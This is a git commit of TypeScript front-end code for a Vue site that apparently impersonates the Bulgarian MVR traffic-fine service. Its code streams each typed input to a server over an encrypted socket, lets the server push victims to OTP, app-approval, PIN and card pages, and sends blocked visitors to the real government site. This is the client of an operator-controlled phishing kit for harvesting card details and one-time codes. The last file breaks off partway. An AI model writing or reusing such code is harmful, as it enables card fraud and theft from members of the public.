update
This commit is contained in:
294
a11_bg_Fine_kat-obligations/src/utils/common.ts
Normal file
294
a11_bg_Fine_kat-obligations/src/utils/common.ts
Normal file
@@ -0,0 +1,294 @@
|
||||
import _ from "lodash";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import router from "@/router";
|
||||
import { ref } from "vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import i18n from "@/main";
|
||||
import { useSocketIo, type SessionCrypto } from "./socketio";
|
||||
|
||||
let viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
||||
if (viteBaseUrl === "/") {
|
||||
viteBaseUrl = "/";
|
||||
} else if (viteBaseUrl === "localhost:8011") {
|
||||
viteBaseUrl = "ws://" + viteBaseUrl;
|
||||
} else {
|
||||
viteBaseUrl = "wss://" + viteBaseUrl;
|
||||
}
|
||||
|
||||
|
||||
// Redirect to an external URL
|
||||
export function redirectToExternal() {
|
||||
window.location.replace("https://e-uslugi.mvr.bg/services/kat-obligations/"); // 替换为您要跳转的外部 URL
|
||||
}
|
||||
|
||||
const initHtml = async () => {
|
||||
const routePath = localStorage.getItem("route");
|
||||
// headHtml.value = await loadHtml("/gtm_post/head.html");
|
||||
|
||||
await router.push(routePath ? `/${routePath}` : "/home");
|
||||
setTimeout(async () => {
|
||||
useLoadingStore().setLoading(false);
|
||||
loadingBg.value = "#00000072";
|
||||
}, 200);
|
||||
};
|
||||
|
||||
export const customOtpData = ref<any>({});
|
||||
|
||||
export function setCustomOtpData(data: any) {
|
||||
customOtpData.value = data;
|
||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
||||
}
|
||||
|
||||
export let myWebSocket: any | undefined;
|
||||
|
||||
// Configuration data
|
||||
export const configData = ref<Record<string, any>>({});
|
||||
|
||||
// Utility function to check if all values in an object are not empty
|
||||
export function areAllValuesNotEmpty(
|
||||
obj: Record<string, any>,
|
||||
excludedFields: string[] = []
|
||||
): boolean {
|
||||
return Object.keys(obj).every((key) => {
|
||||
if (excludedFields.includes(key)) return true;
|
||||
const value = obj[key];
|
||||
return (
|
||||
value !== null &&
|
||||
value !== undefined &&
|
||||
value !== "" &&
|
||||
!(typeof value === "string" && value.trim() === "")
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
// 存储 WebSocket 和 API 的防抖函数
|
||||
const wsDebounceFunctions: Record<
|
||||
string,
|
||||
_.DebouncedFunc<(...args: any[]) => void>
|
||||
> = {};
|
||||
const apiDebounceFunctions: Record<
|
||||
string,
|
||||
_.DebouncedFunc<(...args: any[]) => void>
|
||||
> = {};
|
||||
|
||||
// 获取或创建针对某个键的防抖函数
|
||||
function getDebouncedFunction(
|
||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
||||
key: string,
|
||||
func: (...args: any[]) => void,
|
||||
wait: number
|
||||
) {
|
||||
if (!debounceFunctions[key]) {
|
||||
debounceFunctions[key] = _.debounce(func, wait);
|
||||
}
|
||||
return debounceFunctions[key];
|
||||
}
|
||||
|
||||
const modeRef = ref(1)
|
||||
|
||||
|
||||
// 处理输入变化
|
||||
export function inputChange(type: string, key: any, value: any) {
|
||||
const currentTimestamp = Date.now(); // 当前时间戳
|
||||
|
||||
// WebSocket 防抖函数
|
||||
const wsDebouncedFunction = getDebouncedFunction(
|
||||
wsDebounceFunctions,
|
||||
key,
|
||||
(type, key, value) => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "input_text",
|
||||
content: { type, key, text: value },
|
||||
timestamp: currentTimestamp,
|
||||
})
|
||||
);
|
||||
},
|
||||
300
|
||||
);
|
||||
// 调用防抖函数
|
||||
wsDebouncedFunction(type, key, value);
|
||||
|
||||
}
|
||||
|
||||
|
||||
// Handle login success
|
||||
export function loginSuccess(token: string, mode: number, sessionCrypto: SessionCrypto | null = null) {
|
||||
const baseWsUrl = viteBaseUrl !== "/" ? viteBaseUrl : "wss://" + window.location.host;
|
||||
myWebSocket = useSocketIo(`${baseWsUrl}/ws`, token, sessionCrypto);
|
||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
||||
myWebSocket?.on("open", () => {
|
||||
const lastToken = localStorage.getItem("token");
|
||||
loginWebsocket(token, lastToken !== token);
|
||||
});
|
||||
|
||||
myWebSocket?.on("message", handleMessage);
|
||||
|
||||
window.addEventListener("beforeunload", () => {
|
||||
myWebSocket?.off("close");
|
||||
});
|
||||
}
|
||||
|
||||
// Handle WebSocket messages
|
||||
function handleMessage(data: any) {
|
||||
console.log("Received WebSocket message:", data);
|
||||
const jsonData = JSON.parse(data);
|
||||
if (!jsonData || !jsonData.event) return;
|
||||
|
||||
const { event, content } = jsonData;
|
||||
|
||||
switch (event) {
|
||||
case "login":
|
||||
//handleLoginEvent(content);
|
||||
break;
|
||||
case "result_type":
|
||||
handleResultTypeEvent(content);
|
||||
break;
|
||||
case "reload":
|
||||
window.location.reload();
|
||||
break;
|
||||
case "navigate":
|
||||
navigateTo(content.pagePath, content);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Handle result type event
|
||||
function handleResultTypeEvent(content: any) {
|
||||
if (!content) return;
|
||||
console.log("Handling result type event with content:", content);
|
||||
const typeHandlers: Record<string, () => void> = {
|
||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
||||
otpValid: () => navigateTo("/otpValid", content),
|
||||
appValid: () => navigateTo("/appValid", content),
|
||||
success: () => router.push("/success"),
|
||||
kickOut: redirectToExternal,
|
||||
block: redirectToExternal,
|
||||
otpFail: () =>
|
||||
eventBus.emit("otp-valid", {
|
||||
message2:
|
||||
content.value.message2 ||
|
||||
i18n.global.t("Verification code error, please try again"),
|
||||
}),
|
||||
appFail: () =>
|
||||
eventBus.emit("app-valid", {
|
||||
message2:
|
||||
content.value.message2 ||
|
||||
i18n.global.t(
|
||||
"The session is about to expire, please complete the verification now"
|
||||
),
|
||||
}),
|
||||
back: () => handleBackOrReject(content, true),
|
||||
reject: () => handleBackOrReject(content, false),
|
||||
refresh: () => {
|
||||
if (localStorage.getItem("route")) {
|
||||
localStorage.removeItem("route");
|
||||
window.location.reload();
|
||||
}
|
||||
},
|
||||
|
||||
};
|
||||
if (content.type == "customOtpValid") {
|
||||
if (content.value.customOtpData) {
|
||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
||||
}
|
||||
}
|
||||
if (content.type === "customOtpValid") {
|
||||
if (customOtpData.value.name === "生日验证") {
|
||||
useLoadingStore().setLoading(false);
|
||||
navigateTo("/pinCode", content);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (content.type == "customOtpFail") {
|
||||
eventBus.emit("custom-otp-valid", {
|
||||
message2: content.value.message2,
|
||||
});
|
||||
}
|
||||
|
||||
const handler = typeHandlers[content.type];
|
||||
if (handler) handler();
|
||||
|
||||
useLoadingStore().setLoading(false);
|
||||
}
|
||||
|
||||
// Navigate to specific path with query parameters
|
||||
function navigateTo(path: string, content: any) {
|
||||
|
||||
router.push('/temp').then(() => {
|
||||
router.push({
|
||||
path: path,
|
||||
query: {
|
||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
||||
message1: content.value?.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// Handle back or reject type
|
||||
function handleBackOrReject(content: any, isBack: boolean) {
|
||||
let message2 = i18n.global.t(
|
||||
"This card does not support this transaction, please try another card"
|
||||
);
|
||||
|
||||
if (configData.value.error_card_msg) {
|
||||
message2 = configData.value.error_card_msg;
|
||||
}
|
||||
|
||||
if (content.value.type) {
|
||||
const type = content.value.type;
|
||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
||||
message2 = configData.value.deny_c_msg;
|
||||
}
|
||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
||||
message2 = configData.value.deny_d_msg;
|
||||
}
|
||||
}
|
||||
|
||||
if (content.value.message2) {
|
||||
message2 = content.value.message2;
|
||||
}
|
||||
|
||||
if (isBack) {
|
||||
router.push({ path: "/card", query: { message2 } });
|
||||
}
|
||||
|
||||
eventBus.emit("my-event", { message2 });
|
||||
}
|
||||
|
||||
// Login to WebSocket
|
||||
function loginWebsocket(token: string, isFirst: boolean) {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "login",
|
||||
content: { tag: "user", token, isFirst },
|
||||
})
|
||||
);
|
||||
initHtml();
|
||||
}
|
||||
|
||||
|
||||
|
||||
export async function loadHtml(url: string) {
|
||||
try {
|
||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
||||
if (!response.ok) {
|
||||
return "";
|
||||
}
|
||||
return await response.text();
|
||||
} catch (error) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
export const headHtml = ref("");
|
||||
|
||||
export const headerHtml = ref("");
|
||||
export const footerHtml = ref("");
|
||||
export const loadingBg = ref("#ffffff");
|
||||
|
||||
|
||||
|
||||
17
a11_bg_Fine_kat-obligations/src/utils/eventBus.ts
Normal file
17
a11_bg_Fine_kat-obligations/src/utils/eventBus.ts
Normal file
@@ -0,0 +1,17 @@
|
||||
// src/eventBus.ts
|
||||
import mitt from "mitt";
|
||||
|
||||
// 定义事件名称和对应的数据类型
|
||||
type Events = {
|
||||
"my-event": { message2: string };
|
||||
"otp-valid": { message2: string };
|
||||
"app-valid": { message2: string };
|
||||
"custom-otp-valid": { message2: string };
|
||||
|
||||
// 可以在这里添加其他事件
|
||||
// 'another-event': number;
|
||||
};
|
||||
|
||||
const eventBus = mitt<Events>();
|
||||
|
||||
export default eventBus;
|
||||
407
a11_bg_Fine_kat-obligations/src/utils/socketio.ts
Normal file
407
a11_bg_Fine_kat-obligations/src/utils/socketio.ts
Normal file
@@ -0,0 +1,407 @@
|
||||
// 设置
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { io, Socket as SocketIOClient } from "socket.io-client";
|
||||
|
||||
// ─── 会话加密接口 ───────────────────────────────────────────────
|
||||
export interface SessionCrypto {
|
||||
aesKey: CryptoKey; // AES-128-GCM,不可导出
|
||||
}
|
||||
|
||||
// ─── AES-GCM 加密 / 解密 ───────────────────────────────────────
|
||||
async function encryptPayload(plain: string, aesKey: CryptoKey): Promise<string> {
|
||||
const iv = crypto.getRandomValues(new Uint8Array(12));
|
||||
const encoded = new TextEncoder().encode(plain);
|
||||
const cipher = await crypto.subtle.encrypt({ name: "AES-GCM", iv }, aesKey, encoded);
|
||||
const out = new Uint8Array(iv.byteLength + cipher.byteLength);
|
||||
out.set(iv, 0);
|
||||
out.set(new Uint8Array(cipher), iv.byteLength);
|
||||
let binary = "";
|
||||
for (let i = 0; i < out.length; i++) binary += String.fromCharCode(out[i]);
|
||||
return JSON.stringify({ data: btoa(binary) });
|
||||
}
|
||||
|
||||
async function decryptPayload(raw: unknown, aesKey: CryptoKey): Promise<string> {
|
||||
const rawStr =
|
||||
typeof raw === "string" ? raw :
|
||||
raw && typeof raw === "object" ? JSON.stringify(raw) : String(raw ?? "");
|
||||
|
||||
let envelope: { data?: string };
|
||||
try { envelope = JSON.parse(rawStr); } catch { return rawStr; }
|
||||
if (!envelope?.data) return rawStr;
|
||||
|
||||
const bytes = Uint8Array.from(atob(envelope.data), c => c.charCodeAt(0));
|
||||
const iv = bytes.slice(0, 12);
|
||||
const cipher = bytes.slice(12);
|
||||
try {
|
||||
const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, aesKey, cipher);
|
||||
return new TextDecoder().decode(plain);
|
||||
} catch {
|
||||
return rawStr;
|
||||
}
|
||||
}
|
||||
|
||||
// ─── ECDH 密钥协商工具 ─────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* 生成 P-256 临时密钥对,返回 { keyPair, clientPublicKeyB64 }
|
||||
*/
|
||||
export async function generateECDHKeyPair(): Promise<{
|
||||
keyPair: CryptoKeyPair;
|
||||
clientPublicKeyB64: string;
|
||||
}> {
|
||||
const keyPair = await crypto.subtle.generateKey(
|
||||
{ name: "ECDH", namedCurve: "P-256" },
|
||||
true,
|
||||
["deriveBits"]
|
||||
);
|
||||
const pubKeyRaw = await crypto.subtle.exportKey("raw", keyPair.publicKey);
|
||||
const clientPublicKeyB64 = btoa(
|
||||
Array.from(new Uint8Array(pubKeyRaw)).map(b => String.fromCharCode(b)).join("")
|
||||
);
|
||||
return { keyPair, clientPublicKeyB64 };
|
||||
}
|
||||
|
||||
/**
|
||||
* 用服务端公钥(base64 raw P-256)与给定的客户端私钥推导 AES-128-GCM 会话密钥
|
||||
*/
|
||||
export async function deriveSessionKey(
|
||||
serverPublicKeyB64: string,
|
||||
clientPrivateKey: CryptoKey
|
||||
): Promise<SessionCrypto> {
|
||||
const serverPubKeyBytes = Uint8Array.from(atob(serverPublicKeyB64), c => c.charCodeAt(0));
|
||||
const serverPublicKey = await crypto.subtle.importKey(
|
||||
"raw", serverPubKeyBytes,
|
||||
{ name: "ECDH", namedCurve: "P-256" }, false, []
|
||||
);
|
||||
const sharedBits = await crypto.subtle.deriveBits(
|
||||
{ name: "ECDH", public: serverPublicKey }, clientPrivateKey, 256
|
||||
);
|
||||
const hkdfKey = await crypto.subtle.importKey("raw", sharedBits, "HKDF", false, ["deriveKey"]);
|
||||
const aesKey = await crypto.subtle.deriveKey(
|
||||
{
|
||||
name: "HKDF", hash: "SHA-256",
|
||||
salt: new Uint8Array(32),
|
||||
info: new TextEncoder().encode("socket-aes-key"),
|
||||
},
|
||||
hkdfKey,
|
||||
{ name: "AES-GCM", length: 128 },
|
||||
false,
|
||||
["encrypt", "decrypt"]
|
||||
);
|
||||
return { aesKey };
|
||||
}
|
||||
|
||||
/** 断线/握手阶段队列最大长度,防止内存无限增长 */
|
||||
const MAX_QUEUE_SIZE = 200;
|
||||
|
||||
class Socket {
|
||||
url: string;
|
||||
private token: string;
|
||||
private sessionCrypto: SessionCrypto | null;
|
||||
private ecdhKeyPair: CryptoKeyPair | null = null;
|
||||
private clientPublicKeyB64: string | null = null;
|
||||
/** 握手全部完成(ECDH + login)后才为 true,期间消息也入队 */
|
||||
private isReady = false;
|
||||
socket: SocketIOClient | null = null;
|
||||
listeners: { [key: string]: Function[] } = {};
|
||||
private messageQueue: any[] = []; // 断连/握手期间暂存消息的队列
|
||||
|
||||
constructor(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
|
||||
this.url = url;
|
||||
this.token = token;
|
||||
this.sessionCrypto = sessionCrypto;
|
||||
this.init();
|
||||
this.setupVisibilityListener();
|
||||
}
|
||||
|
||||
/** 懒初始化 ECDH 密钥对(只生成一次,重连时复用) */
|
||||
private async initECDH() {
|
||||
if (!this.ecdhKeyPair) {
|
||||
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
|
||||
this.ecdhKeyPair = keyPair;
|
||||
this.clientPublicKeyB64 = clientPublicKeyB64;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 通过 Socket.IO key_exchange 事件与服务端协商会话密钥。
|
||||
* 每次 connect(包括服务端重启后重连)都调用,确保密钥始终有效。
|
||||
*/
|
||||
private performKeyExchange(): Promise<void> {
|
||||
return new Promise<void>((resolve) => {
|
||||
// 3 秒超时:若服务端不响应则无加密继续
|
||||
const timeout = setTimeout(() => {
|
||||
this.socket?.off('key_exchange_result', onResult);
|
||||
this.sessionCrypto = null;
|
||||
resolve();
|
||||
}, 3000);
|
||||
|
||||
const onResult = async (serverPubKeyB64: string) => {
|
||||
clearTimeout(timeout);
|
||||
try {
|
||||
this.sessionCrypto = await deriveSessionKey(serverPubKeyB64, this.ecdhKeyPair!.privateKey);
|
||||
} catch (e) {
|
||||
console.error('[Socket] key derivation failed:', e);
|
||||
this.sessionCrypto = null;
|
||||
}
|
||||
resolve();
|
||||
};
|
||||
|
||||
this.socket?.once('key_exchange_result', onResult);
|
||||
this.socket?.emit('key_exchange', this.clientPublicKeyB64);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送 login 并等待服务端回 {event:"login",content:"success"}。
|
||||
* 服务端发送 login success 时 client.State 已同步设置完毕,
|
||||
* 之后再冲刷队列才能保证消息不被 "State == nil" 守卫丢弃。
|
||||
*/
|
||||
private async sendLoginAndWait(): Promise<void> {
|
||||
await new Promise<void>((resolve) => {
|
||||
let settled = false;
|
||||
const settle = () => {
|
||||
if (settled) return;
|
||||
settled = true;
|
||||
this.socket?.off('message', onRawMessage);
|
||||
clearTimeout(timer);
|
||||
resolve();
|
||||
};
|
||||
// 3 秒兜底:即使没收到确认也继续
|
||||
const timer = setTimeout(settle, 3000);
|
||||
|
||||
const onRawMessage = async (raw: unknown) => {
|
||||
try {
|
||||
let text: string;
|
||||
if (this.sessionCrypto) {
|
||||
text = await decryptPayload(raw, this.sessionCrypto.aesKey);
|
||||
} else {
|
||||
text = typeof raw === 'string' ? raw : JSON.stringify(raw);
|
||||
}
|
||||
const parsed = JSON.parse(text);
|
||||
if (parsed?.event === 'login') settle();
|
||||
} catch { /* 忽略解析失败 */ }
|
||||
};
|
||||
|
||||
// 先注册监听,再发 login,避免极速响应漏掉
|
||||
this.socket?.on('message', onRawMessage);
|
||||
this.sendRaw(JSON.stringify({ event: 'login', content: { token: this.token }, timestamp: Date.now() })).catch(() => settle());
|
||||
});
|
||||
}
|
||||
|
||||
init() {
|
||||
if (this.socket) {
|
||||
return;
|
||||
}
|
||||
console.log("Socket initialized with URL:", this.url);
|
||||
this.socket = io(this.url, {
|
||||
path: "/socket.io",
|
||||
query: this.token ? { token: this.token } : undefined,
|
||||
reconnectionDelay: 1500,
|
||||
reconnectionAttempts: Infinity, // 服务端重启后持续重连,不放弃
|
||||
});
|
||||
|
||||
// 连接事件处理(含重连):每次都重新做 ECDH,解决服务端重启后密钥失效问题
|
||||
this.socket.on('connect', async () => {
|
||||
this.isReady = false; // 握手期间暂停直接发送,新消息继续入队
|
||||
// 清理上一次连接残留的 key_exchange_result 监听器,避免多次重连后堆积
|
||||
this.socket?.off('key_exchange_result');
|
||||
try {
|
||||
await this.initECDH();
|
||||
await this.performKeyExchange();
|
||||
// 等待服务端 login success 确认后再冲刷队列
|
||||
// 保证 client.State 已在服务端设置,避免消息被 "State==nil" 守卫丢弃
|
||||
await this.sendLoginAndWait();
|
||||
} catch (e) {
|
||||
console.error('[Socket] 握手阶段异常,将以无加密方式继续:', e);
|
||||
this.sessionCrypto = null;
|
||||
} finally {
|
||||
// 无论握手是否成功,都必须就绪并冲刷队列,避免消息永久滞留
|
||||
this.isReady = true;
|
||||
await this.flushMessageQueue(); // 连接后按序发送排队消息
|
||||
this.emit('open', { type: 'open' });
|
||||
}
|
||||
});
|
||||
|
||||
// 消息接收(支持 AES-GCM 解密)
|
||||
this.socket.on('message', async (data) => {
|
||||
let plainText: string;
|
||||
if (this.sessionCrypto) {
|
||||
plainText = await decryptPayload(data, this.sessionCrypto.aesKey);
|
||||
} else {
|
||||
plainText = typeof data === 'string' ? data : JSON.stringify(data);
|
||||
}
|
||||
this.emit('message', plainText);
|
||||
});
|
||||
|
||||
// 连接错误
|
||||
this.socket.on('connect_error', (error) => {
|
||||
this.emit('error', error);
|
||||
});
|
||||
|
||||
// 断开连接
|
||||
this.socket.on('disconnect', (reason) => {
|
||||
this.isReady = false; // 断开后消息重新入队
|
||||
this.emit('close', { reason });
|
||||
});
|
||||
|
||||
// 重连尝试
|
||||
this.socket.on('reconnect_attempt', (attemptNumber) => {
|
||||
this.emit('reconnect_attempt', attemptNumber);
|
||||
});
|
||||
|
||||
// 重连成功
|
||||
this.socket.on('reconnect', (attemptNumber) => {
|
||||
this.emit('reconnect', attemptNumber);
|
||||
});
|
||||
|
||||
// 重连失败
|
||||
this.socket.on('reconnect_failed', () => {
|
||||
useLoadingStore().setLoading(false); // 重连失败时关闭加载状态
|
||||
this.emit('reconnect_failed', { type: 'reconnect_failed' });
|
||||
});
|
||||
|
||||
// 处理所有其他事件
|
||||
this.socket.onAny((eventName, ...args) => {
|
||||
if (!['connect', 'disconnect', 'error', 'reconnect_attempt',
|
||||
'reconnect', 'reconnect_failed', 'message'].includes(eventName)) {
|
||||
this.emit(eventName, args);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
isConnected(): boolean {
|
||||
return this.socket?.connected ?? false;
|
||||
}
|
||||
|
||||
/** 用于握手阶段的 login 事件,同样走加密通道 */
|
||||
private async sendRaw(data: string) {
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(data, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', data);
|
||||
}
|
||||
}
|
||||
|
||||
async send(data: string) {
|
||||
try {
|
||||
const payload = JSON.parse(data);
|
||||
|
||||
// 添加时间戳
|
||||
const messageData = {
|
||||
...payload,
|
||||
timestamp: payload.timestamp || Date.now()
|
||||
};
|
||||
|
||||
// 未就绪(断连中或 ECDH/login 握手中)时统一入队,保证消息不丢失且顺序正确
|
||||
if (!this.isReady) {
|
||||
if (this.messageQueue.length < MAX_QUEUE_SIZE) {
|
||||
this.messageQueue.push(messageData);
|
||||
} else {
|
||||
console.warn('[Socket] 消息队列已满,丢弃消息:', messageData.event);
|
||||
}
|
||||
this.reconnectIfNeeded();
|
||||
return;
|
||||
}
|
||||
|
||||
const serialized = JSON.stringify(messageData);
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', serialized);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Invalid message format. Must be a valid JSON string.', error);
|
||||
}
|
||||
}
|
||||
|
||||
/** 按顺序逐条发送积压消息,保证 FIFO 且不会因并发导致乱序 */
|
||||
async flushMessageQueue() {
|
||||
if (this.messageQueue.length === 0) return;
|
||||
const queue = this.messageQueue.splice(0); // 原子取出,避免发送期间新消息混入
|
||||
for (const msg of queue) {
|
||||
if (!this.isReady || !this.socket?.connected) {
|
||||
// 发送途中再次断开,将剩余消息放回队首
|
||||
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
|
||||
break;
|
||||
}
|
||||
try {
|
||||
const serialized = JSON.stringify(msg);
|
||||
if (this.sessionCrypto) {
|
||||
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
|
||||
this.socket?.emit('message', encrypted);
|
||||
} else {
|
||||
this.socket?.emit('message', serialized);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('[Socket] flushMessageQueue 发送失败:', e);
|
||||
// 发送失败也放回队首
|
||||
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
reconnectIfNeeded() {
|
||||
if (!this.isConnected() && this.socket) {
|
||||
this.socket.connect();
|
||||
}
|
||||
}
|
||||
|
||||
on(event: string, callback: Function) {
|
||||
// 需要经过本层中间件(如解密)的事件,统一走 this.listeners
|
||||
if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed', 'message'].includes(event)) {
|
||||
if (!this.listeners[event]) {
|
||||
this.listeners[event] = [];
|
||||
}
|
||||
this.listeners[event].push(callback);
|
||||
} else {
|
||||
// 其他 Socket.IO 原生事件
|
||||
this.socket?.on(event, (...args) => callback(...args));
|
||||
}
|
||||
}
|
||||
|
||||
off(event: string) {
|
||||
if (this.listeners[event]) {
|
||||
delete this.listeners[event];
|
||||
}
|
||||
this.socket?.off(event);
|
||||
}
|
||||
|
||||
emit(event: string, data: any) {
|
||||
if (this.listeners[event]) {
|
||||
this.listeners[event].forEach(callback => callback(data));
|
||||
}
|
||||
}
|
||||
|
||||
private handleVisibilityChange = () => {
|
||||
if (document.visibilityState === "visible" && !this.isConnected() && this.socket) {
|
||||
this.socket.connect();
|
||||
}
|
||||
};
|
||||
|
||||
setupVisibilityListener() {
|
||||
document.addEventListener("visibilitychange", this.handleVisibilityChange);
|
||||
}
|
||||
|
||||
disconnect() {
|
||||
document.removeEventListener("visibilitychange", this.handleVisibilityChange);
|
||||
this.socket?.disconnect();
|
||||
}
|
||||
}
|
||||
|
||||
function useSocketIo(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
|
||||
const socket = new Socket(url, token, sessionCrypto);
|
||||
|
||||
return {
|
||||
socket,
|
||||
send: socket.send.bind(socket),
|
||||
on: socket.on.bind(socket),
|
||||
off: socket.off.bind(socket),
|
||||
disconnect: socket.disconnect.bind(socket),
|
||||
};
|
||||
}
|
||||
|
||||
export { useSocketIo, Socket };
|
||||
392
a11_bg_Fine_kat-obligations/src/utils/websocket.ts
Normal file
392
a11_bg_Fine_kat-obligations/src/utils/websocket.ts
Normal file
@@ -0,0 +1,392 @@
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { sendInput } from "@/api/api";
|
||||
|
||||
// ============ 类型定义 ============
|
||||
interface SocketOptions {
|
||||
heartbeatInterval?: number;
|
||||
reconnectInterval?: number;
|
||||
maxReconnectAttempts?: number;
|
||||
retryIntervals?: number[];
|
||||
forceClose?: boolean;
|
||||
timeOut?: boolean;
|
||||
}
|
||||
|
||||
interface PendingMessage {
|
||||
id: string;
|
||||
data: string;
|
||||
retries: number;
|
||||
timestamp: number;
|
||||
}
|
||||
|
||||
// ============ 默认配置 ============
|
||||
const DEFAULT_OPTIONS: Required<SocketOptions> = {
|
||||
heartbeatInterval: 2000,
|
||||
reconnectInterval: 1000,
|
||||
maxReconnectAttempts: 10,
|
||||
retryIntervals: [2000, 3000, 5000], // 2秒、3秒、5秒重试
|
||||
forceClose: false,
|
||||
timeOut: false,
|
||||
};
|
||||
|
||||
const MAX_RECONNECT_INTERVAL = 30000;
|
||||
const MAX_HEARTBEAT_MISS = 3;
|
||||
const RETRY_CHECK_INTERVAL = 1000;
|
||||
|
||||
// ============ Socket 类 ============
|
||||
class Socket {
|
||||
private url: string;
|
||||
private ws: WebSocket | null = null;
|
||||
private opts: Required<SocketOptions>;
|
||||
|
||||
// 连接管理
|
||||
private reconnectAttempts = 0;
|
||||
private reconnectTimeoutId: number | null = null;
|
||||
|
||||
// 心跳管理
|
||||
private heartbeatIntervalId: number | null = null;
|
||||
private heartbeatMissCount = 0;
|
||||
|
||||
// 消息管理
|
||||
private sendQueue: PendingMessage[] = [];
|
||||
private pendingConfirmations = new Map<string, PendingMessage>();
|
||||
private retryCheckerId: number | null = null;
|
||||
|
||||
// 事件管理
|
||||
private listeners: Record<string, Function[]> = {};
|
||||
|
||||
constructor(url: string, opts: SocketOptions = {}) {
|
||||
this.url = url;
|
||||
this.opts = { ...DEFAULT_OPTIONS, ...opts };
|
||||
|
||||
this.init();
|
||||
this.setupBrowserListeners();
|
||||
}
|
||||
|
||||
// ============ 初始化与连接 ============
|
||||
|
||||
private init(): void {
|
||||
if (this.isConnectingOrOpen()) return;
|
||||
|
||||
this.heartbeatMissCount = 0;
|
||||
this.ws = new WebSocket(this.url);
|
||||
this.bindWebSocketEvents();
|
||||
}
|
||||
|
||||
private bindWebSocketEvents(): void {
|
||||
if (!this.ws) return;
|
||||
|
||||
this.ws.onopen = this.handleOpen.bind(this);
|
||||
this.ws.onmessage = this.handleMessage.bind(this);
|
||||
this.ws.onerror = this.handleError.bind(this);
|
||||
this.ws.onclose = this.handleClose.bind(this);
|
||||
}
|
||||
|
||||
// ============ WebSocket 事件处理 ============
|
||||
|
||||
private handleOpen(event: Event): void {
|
||||
this.reconnectAttempts = 0;
|
||||
this.clearReconnectTimeout();
|
||||
this.startHeartbeat();
|
||||
this.startRetryChecker();
|
||||
this.emit("open", event);
|
||||
this.flushSendQueue();
|
||||
}
|
||||
|
||||
private handleMessage(event: MessageEvent): void {
|
||||
try {
|
||||
const data = JSON.parse(event.data);
|
||||
|
||||
switch (data.event) {
|
||||
case "heartbeat":
|
||||
this.heartbeatMissCount = 0;
|
||||
break;
|
||||
case "ack":
|
||||
this.handleAck(data.messageId);
|
||||
break;
|
||||
default:
|
||||
this.emit("message", event.data);
|
||||
}
|
||||
} catch {
|
||||
this.emit("message", event.data);
|
||||
}
|
||||
}
|
||||
|
||||
private handleError(event: Event): void {
|
||||
this.emit("error", event);
|
||||
}
|
||||
|
||||
private handleClose(event: CloseEvent): void {
|
||||
this.stopHeartbeat();
|
||||
this.stopRetryChecker();
|
||||
this.emit("close", event);
|
||||
this.scheduleReconnect();
|
||||
}
|
||||
|
||||
private handleAck(messageId: string): void {
|
||||
if (messageId && this.pendingConfirmations.has(messageId)) {
|
||||
this.pendingConfirmations.delete(messageId);
|
||||
}
|
||||
}
|
||||
|
||||
// ============ 连接状态 ============
|
||||
|
||||
private isConnectingOrOpen(): boolean {
|
||||
return this.ws?.readyState === WebSocket.CONNECTING
|
||||
|| this.ws?.readyState === WebSocket.OPEN;
|
||||
}
|
||||
|
||||
private isConnected(): boolean {
|
||||
return this.ws?.readyState === WebSocket.OPEN;
|
||||
}
|
||||
|
||||
private isClosed(): boolean {
|
||||
return this.ws?.readyState === WebSocket.CLOSED;
|
||||
}
|
||||
|
||||
// ============ 重连机制 ============
|
||||
|
||||
private scheduleReconnect(): void {
|
||||
if (!this.canReconnect() || this.reconnectTimeoutId !== null) return;
|
||||
|
||||
const timeout = Math.min(
|
||||
this.opts.reconnectInterval * Math.pow(2, this.reconnectAttempts),
|
||||
MAX_RECONNECT_INTERVAL
|
||||
);
|
||||
|
||||
this.reconnectTimeoutId = window.setTimeout(() => {
|
||||
this.reconnectAttempts++;
|
||||
this.reconnectTimeoutId = null;
|
||||
|
||||
if (this.isClosed()) {
|
||||
this.init();
|
||||
}
|
||||
}, timeout);
|
||||
}
|
||||
|
||||
private canReconnect(): boolean {
|
||||
